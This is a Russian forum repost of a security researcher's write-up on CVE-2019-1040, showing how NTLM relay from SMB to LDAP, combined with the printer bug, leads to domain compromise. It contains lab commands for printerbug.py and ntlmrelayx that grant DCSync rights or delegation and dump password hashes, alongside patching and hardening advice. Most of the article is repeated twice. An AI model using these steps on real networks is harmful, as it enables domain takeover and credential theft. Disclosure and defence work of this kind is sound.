Пожалуйста, обратите внимание, что пользователь заблокирован
На этой неделе Microsoft выпустила исправления для CVE-2019-1040, которая является уязвимостью, позволяющей обходить ретрансляторы NTLM. Уязвимость была обнаружена Мариной Симаковой и Яроном Зинаром (а также несколькими другими, отмеченными в отчёте Microsoft ), и они опубликовали техническое описание уязвимости здесь . Короткая версия заключается в том, что эта уязвимость позволяет обходить код целостности сообщений при проверке подлинности NTLM. Влияние этого, однако, довольно велико, если объединить его с « Принтером Багом», обнаруженным Ли Кристенсеном, и некоторыми из моих собственных исследований , основанных на исследовании Элада Шамира, проведенного Kerberos . Используя комбинацию этих уязвимостей, можно передать аутентификацию SMB на LDAP. Это позволяет удаленно выполнять код в качестве SYSTEM на любом непропатченном сервере или рабочей станции Windows (даже в тех, которые находятся в разных Active Directory ) и делать мгновенную эскалацию до администратора домена через любой непропатченный сервер Exchange (если только разрешения Exchange не были уменьшены в домене). Самым важным выводом этого поста является то, что вы должны установить исправления за июнь 2019 года как можно скорее.
Шаги ретрансляции от SMB к LDAP
Как я уже говорил в своем блоге о PrivExchange , исследования, проведенные различными людьми за последний год, позволили нам сделать шаг в сторону захвата любого компьютера в Active Directory. Если бы вы могли убедить Windows Server, такой как Exchange, аутентифицировать вас и передать эту аутентификацию контроллеру домена через LDAP, можно было бы выполнять операции в Active Directory с правами ретранслируемой жертвы. В случае с Exchange это привело к достаточно высоким привилегиям в DCSync, на котором была основана уязвимость PrivExchange.
Альтернативно, злоупотребляя делегированием Resource Based Constrained Kerberos, можно предоставить права на сервере жертвы, что приведет к получению доступа администратора на этом сервере (описано в моем посте «Наихудший из обоих миров» ). Однако подвох состоит в том, что из-за того, как работает протокол NTLM, было (более или менее случайно) невозможно передать трафик SMB на LDAP, поскольку флаги будут вызывать подпись LDAP. Это предотвратило аутентификацию, инициируемую через SMB, из-за того, что ошибка SpoolService оказала еще большее влияние.
Уязвимость CVE-2019-1040 делает возможным изменение пакетов аутентификации NTLM без аннулирования аутентификации и, таким образом, позволяет злоумышленнику удалять флаги, которые могут помешать ретрансляции с SMB на LDAP. Поскольку Active Directory уже находился в довольно опасном состоянии (получение доступа от захвата любого хоста), эта единственная уязвимость является последней частью головоломки для использования ошибки / функции SpoolService для компрометации любой системы. Это даже возможно для “across forest trusts” , поскольку единственным требованием для ошибки SpoolService является любая аутентифицированная учетная запись.
Атаки
На данный момент я определил два направления атаки:
● Используя любую учетную запись AD, подключитесь через SMB к серверу Exchange жертвы и вызовите ошибку SpoolService. Сервер злоумышленника соединится с вами через SMB, который может быть передан с измененной версией ntlmrelayx в LDAP. Используя ретранслируемую аутентификацию LDAP, предоставьте привилегии DCSync учетной записи злоумышленника. Теперь учетная запись может использовать DCSync для сброса всех хэшей паролей в AD.
● Используя любую учетную запись AD, подключитесь через SMB к серверу жертвы и вызовите ошибку SpoolService. Сервер злоумышленника соединится с вами через SMB, который может быть передан с измененной версией ntlmrelayx в LDAP. Используя ретранслированную аутентификацию LDAP, предоставьте привилегии Resource Based Constrained Delegation для сервера-жертвы учетной записи компьютера, находящейся под контролем злоумышленника. Атакующий теперь может аутентифицироваться как любой пользователь на сервере жертвы.
Есть несколько замечаний по этому поводу:
● В первой атаке сервер Exchange может быть любой версии (включая те, которые были исправлены для PrivExchange). Единственное требование состоит в том, чтобы они имели высокие привилегии, которые Exchange имеет по умолчанию при установке в общих разрешениях или режиме RBAC. Новые исправления Exchange, установленные после 12 февраля 2019 года, или установки, которые были обновлены вручную для уменьшения разрешений, как рекомендовано в этом блоге Microsoft , не уязвимы (но все же могут быть уязвимы для второй атаки).
● Во второй атаке сервер может быть любым непропатченным Windows Server или рабочей станцией, включая контроллер домена. При нацеливании на контроллер домена вам нужен по крайней мере один уязвимый контроллер домена для ретрансляции аутентификации, при этом вызывая ошибку SpoolService на другом контроллере домена (теоретически возможно возвращение на тот же хост, поскольку мы можем изменить аутентификацию NTLM, Я не исследовал это).
● Вторая атака требует контроля над учетной записью компьютера. Это может быть учетная запись компьютера, от которой злоумышленник получил пароль, так как он уже является администратором на рабочей станции, или учетная запись компьютера, которую злоумышленник создал, злоупотребляя тем фактом, что любая учетная запись в Active Directory может создать ее по умолчанию.
Доказательство концепций
Я обновил ntlmrelayx (часть impacket ), чтобы использовать флаг --remove-mic , который использует CVE-2019-1040 на основе технического описания исследователей Preempt .
Атака 1 - ковыряться на бирже (снова)
В первой атаке мы атакуем сервер Exchange с помощью ошибки SpoolService / printer и передаем ее с помощью ntlmrelayx. Я использую printerbug.py из моего репозитория krbrelayx, вы также можете использовать дементор или код .NET
Это заставит сервер Exchange подключиться к нам:
Который мы ловим с помощью ntlmrelayx с флагом --remove-mic:
Это предоставляет нашим пользователям привилегии DCSync, которые мы можем использовать для сброса всех хэшей паролей:
Атака 2 - делегация Kerberos
Вторая атака во многом повторяет процесс, описанный в моем предыдущем блоге .
Мы запускаем ntlmrelayx.py с flag --remove-mic и --delegate-access и ретранслируем его в LDAP через TLS (LDAPS), чтобы иметь возможность создать новую учетную запись компьютера (мы также можем перейти на простой LDAP, но затем мы придется расширить существующую учетную запись компьютера):
И снова запустите скрипт printerbug.py для вторичного контроллера домена (я знаю, что он называется ниже rlt-app-server , но это сервер, который я повысил до DC в своей лаборатории):
Который получает нам наше ретрансляционное соединение, создавая учетную запись компьютера:
Что мы можем использовать для повышения учетной записи администратора домена:
И мы можем использовать этот “олицетворенный билет”(this impersonated ticket), чтобы запустить secrettsdump непосредственно к этому DC и получить все хэши
Бонус
Мы можем сделать точно такую же атаку в домене relaytest.local, если у нас есть пользователь в совершенно другом (доверенном) Active Directory, поскольку любой аутентифицированный пользователь может инициировать обратное соединение SpoolService. Поэтому я установил одностороннее исходящее соединение Forest от relaytest.local к domainb.local (что означает, что пользователи, а из domainb могут проходить аутентификацию в домене relaytest ).
Мы выполняем те же команды, но теперь вызываем ошибку принтера с пользователем из domainb:
И мы видим тот же результат:
Защита
Используя CVE-2019-1040, мы можем захватить любой уязвимый хост Windows, используя комбинацию слабостей протокола и настроек по умолчанию. Наиболее важным фактором является установка исправлений, выпущенных в июне 2019 года, как можно скорее .
Помимо этого, если вы еще этого не сделали, уменьшите разрешения Exchange, как обсуждалось в блоге PrivExchange (раздел « Выпущенные обновления» ).
Вы можете предотвратить ретрансляцию NTLM на LDAP, применяя подписывание LDAP и привязку канала LDAP для LDAP через TLS. Однако, как описано в другом блоге, можно также обойти привязку канала, если исправление для этой проблемы не установлено.
Чтобы предотвратить запуск ошибки SpoolService злоумышленниками, вы можете отключить службу диспетчера очереди печати. Другое решение состоит в том, чтобы блокировать исходящий трафик через порт 445 на чувствительных хостах или обеспечить, чтобы сетевая фильтрация не позволяла серверам подключаться к диапазонам клиентов и максимально изолировать отдельных хостов. Наличие высокосегментированной сети является важной защитной в целом.
Код
Код POC был объединен с основной веткой impacket на GitHub: https://github.com/SecureAuthCorp/impacket . Это реализует удаление MIC в клиентах ретрансляции SMB и LDAP. Я также написал инструмент сканирования, который можно использовать для проверки уязвимости хостов, опубликованный здесь: https://github.com/fox-it/cve-2019-1040-scanner .
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
Шаги ретрансляции от SMB к LDAP
Как я уже говорил в своем блоге о PrivExchange , исследования, проведенные различными людьми за последний год, позволили нам сделать шаг в сторону захвата любого компьютера в Active Directory. Если бы вы могли убедить Windows Server, такой как Exchange, аутентифицировать вас и передать эту аутентификацию контроллеру домена через LDAP, можно было бы выполнять операции в Active Directory с правами ретранслируемой жертвы. В случае с Exchange это привело к достаточно высоким привилегиям в DCSync, на котором была основана уязвимость PrivExchange.
Альтернативно, злоупотребляя делегированием Resource Based Constrained Kerberos, можно предоставить права на сервере жертвы, что приведет к получению доступа администратора на этом сервере (описано в моем посте «Наихудший из обоих миров» ). Однако подвох состоит в том, что из-за того, как работает протокол NTLM, было (более или менее случайно) невозможно передать трафик SMB на LDAP, поскольку флаги будут вызывать подпись LDAP. Это предотвратило аутентификацию, инициируемую через SMB, из-за того, что ошибка SpoolService оказала еще большее влияние.
Уязвимость CVE-2019-1040 делает возможным изменение пакетов аутентификации NTLM без аннулирования аутентификации и, таким образом, позволяет злоумышленнику удалять флаги, которые могут помешать ретрансляции с SMB на LDAP. Поскольку Active Directory уже находился в довольно опасном состоянии (получение доступа от захвата любого хоста), эта единственная уязвимость является последней частью головоломки для использования ошибки / функции SpoolService для компрометации любой системы. Это даже возможно для “across forest trusts” , поскольку единственным требованием для ошибки SpoolService является любая аутентифицированная учетная запись.
Атаки
На данный момент я определил два направления атаки:
● Используя любую учетную запись AD, подключитесь через SMB к серверу Exchange жертвы и вызовите ошибку SpoolService. Сервер злоумышленника соединится с вами через SMB, который может быть передан с измененной версией ntlmrelayx в LDAP. Используя ретранслируемую аутентификацию LDAP, предоставьте привилегии DCSync учетной записи злоумышленника. Теперь учетная запись может использовать DCSync для сброса всех хэшей паролей в AD.
● Используя любую учетную запись AD, подключитесь через SMB к серверу жертвы и вызовите ошибку SpoolService. Сервер злоумышленника соединится с вами через SMB, который может быть передан с измененной версией ntlmrelayx в LDAP. Используя ретранслированную аутентификацию LDAP, предоставьте привилегии Resource Based Constrained Delegation для сервера-жертвы учетной записи компьютера, находящейся под контролем злоумышленника. Атакующий теперь может аутентифицироваться как любой пользователь на сервере жертвы.
Есть несколько замечаний по этому поводу:
● В первой атаке сервер Exchange может быть любой версии (включая те, которые были исправлены для PrivExchange). Единственное требование состоит в том, чтобы они имели высокие привилегии, которые Exchange имеет по умолчанию при установке в общих разрешениях или режиме RBAC. Новые исправления Exchange, установленные после 12 февраля 2019 года, или установки, которые были обновлены вручную для уменьшения разрешений, как рекомендовано в этом блоге Microsoft , не уязвимы (но все же могут быть уязвимы для второй атаки).
● Во второй атаке сервер может быть любым непропатченным Windows Server или рабочей станцией, включая контроллер домена. При нацеливании на контроллер домена вам нужен по крайней мере один уязвимый контроллер домена для ретрансляции аутентификации, при этом вызывая ошибку SpoolService на другом контроллере домена (теоретически возможно возвращение на тот же хост, поскольку мы можем изменить аутентификацию NTLM, Я не исследовал это).
● Вторая атака требует контроля над учетной записью компьютера. Это может быть учетная запись компьютера, от которой злоумышленник получил пароль, так как он уже является администратором на рабочей станции, или учетная запись компьютера, которую злоумышленник создал, злоупотребляя тем фактом, что любая учетная запись в Active Directory может создать ее по умолчанию.
Доказательство концепций
Я обновил ntlmrelayx (часть impacket ), чтобы использовать флаг --remove-mic , который использует CVE-2019-1040 на основе технического описания исследователей Preempt .
Атака 1 - ковыряться на бирже (снова)
В первой атаке мы атакуем сервер Exchange с помощью ошибки SpoolService / printer и передаем ее с помощью ntlmrelayx. Я использую printerbug.py из моего репозитория krbrelayx, вы также можете использовать дементор или код .NET
python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <атакующий ip / hostname>Это заставит сервер Exchange подключиться к нам:
Который мы ловим с помощью ntlmrelayx с флагом --remove-mic:
ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap: //s2016dc.testsegment.local -smb2support
Это предоставляет нашим пользователям привилегии DCSync, которые мы можем использовать для сброса всех хэшей паролей:
Атака 2 - делегация Kerberos
Вторая атака во многом повторяет процесс, описанный в моем предыдущем блоге .
Мы запускаем ntlmrelayx.py с flag --remove-mic и --delegate-access и ретранслируем его в LDAP через TLS (LDAPS), чтобы иметь возможность создать новую учетную запись компьютера (мы также можем перейти на простой LDAP, но затем мы придется расширить существующую учетную запись компьютера):
ntlmrelayx.py -t ldaps: //rlt-dc.relaytest.local --remove-mic --delegate-access -smb2supportИ снова запустите скрипт printerbug.py для вторичного контроллера домена (я знаю, что он называется ниже rlt-app-server , но это сервер, который я повысил до DC в своей лаборатории):
Который получает нам наше ретрансляционное соединение, создавая учетную запись компьютера:
Что мы можем использовать для повышения учетной записи администратора домена:
И мы можем использовать этот “олицетворенный билет”(this impersonated ticket), чтобы запустить secrettsdump непосредственно к этому DC и получить все хэши
Бонус
Мы можем сделать точно такую же атаку в домене relaytest.local, если у нас есть пользователь в совершенно другом (доверенном) Active Directory, поскольку любой аутентифицированный пользователь может инициировать обратное соединение SpoolService. Поэтому я установил одностороннее исходящее соединение Forest от relaytest.local к domainb.local (что означает, что пользователи, а из domainb могут проходить аутентификацию в домене relaytest ).
Мы выполняем те же команды, но теперь вызываем ошибку принтера с пользователем из domainb:
И мы видим тот же результат:
Защита
Используя CVE-2019-1040, мы можем захватить любой уязвимый хост Windows, используя комбинацию слабостей протокола и настроек по умолчанию. Наиболее важным фактором является установка исправлений, выпущенных в июне 2019 года, как можно скорее .
Помимо этого, если вы еще этого не сделали, уменьшите разрешения Exchange, как обсуждалось в блоге PrivExchange (раздел « Выпущенные обновления» ).
Вы можете предотвратить ретрансляцию NTLM на LDAP, применяя подписывание LDAP и привязку канала LDAP для LDAP через TLS. Однако, как описано в другом блоге, можно также обойти привязку канала, если исправление для этой проблемы не установлено.
Чтобы предотвратить запуск ошибки SpoolService злоумышленниками, вы можете отключить службу диспетчера очереди печати. Другое решение состоит в том, чтобы блокировать исходящий трафик через порт 445 на чувствительных хостах или обеспечить, чтобы сетевая фильтрация не позволяла серверам подключаться к диапазонам клиентов и максимально изолировать отдельных хостов. Наличие высокосегментированной сети является важной защитной в целом.
Код
Код POC был объединен с основной веткой impacket на GitHub: https://github.com/SecureAuthCorp/impacket . Это реализует удаление MIC в клиентах ретрансляции SMB и LDAP. Я также написал инструмент сканирования, который можно использовать для проверки уязвимости хостов, опубликованный здесь: https://github.com/fox-it/cve-2019-1040-scanner .
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/